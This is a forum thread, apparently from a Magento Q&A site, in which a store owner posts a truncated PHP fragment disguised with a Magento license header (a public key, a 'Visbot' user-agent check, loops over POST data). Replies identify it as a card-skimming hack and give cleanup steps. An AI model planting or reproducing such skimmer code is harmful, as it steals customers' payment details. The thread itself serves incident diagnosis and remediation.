Some days back I found this code in one of my application file. I am using git in my server so I can found modified file easily. I checked it but I am not getting what this piece of code does exactly.

Can anybody explain me? Is it hacked or something? Thanks

<?PHP /***
Magento** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php**/
$k3="-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;
echo 'clean ok';
}else echo 'Pong';
foreach($_POST as $h6=>$n7){if(is_array($n7)){foreach($n7 as $f8=>$l9){if(is_array($l9)){foreach($l9 as $l10=>$v11){if(is_array($v11)){;
  • 5
    looks like a hack to me. – Marius Oct 19 '15 at 12:37
  • Yes, definitely looks like a hack. Unfortunately, Magento is susceptible to hacks, did you install the latest safety patches? – Niels Oct 19 '15 at 12:41
  • @user5972, Yes I install all the patches – Charlie Oct 20 '15 at 4:21
  • 1
    Look for an include line in your Mage.php file, this is an image hack. It looks for outgoing POST sessions, grabs the info and shoves it into a fake jpeg somewhere in your skin or media folder for easy hacker download. Payment gateway session stealer. – Fiasco Labs Oct 20 '15 at 16:00

This is a modified or "Hacked" file and will need to be replaced with the original. I would recommend turning off your store and NOW.

I would then recommend doing a diff between your original code and a known good version. You can start with your core of 1.8 but you may also have hacks in extra files.

diff -wrql --exclude='media' --exclude='var' /your/site/html/ /last/know/good/site/html/

This will tell you at least if the core files are hacked. (Which you can see they are) I would also recommend using source control so you can see modifications to files. If you use GIT you will see when a file has been modified on the server by doing a git status.

| improve this answer | |

This hack is encrypting all POST values (Credit Card information during checkout included) to a string in a fake image file and is open to the world but would and has likely been transmitted. Not only do you need to revert to a good version of the code base, you need to identify the original entry vector and remove it. (how did it get there to begin with).

| improve this answer | |

The last two lines should clearly warn you, if you can delete this file nothing happend,p lease take a backup of files, search more and delete files. Change server password and file permission as well.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.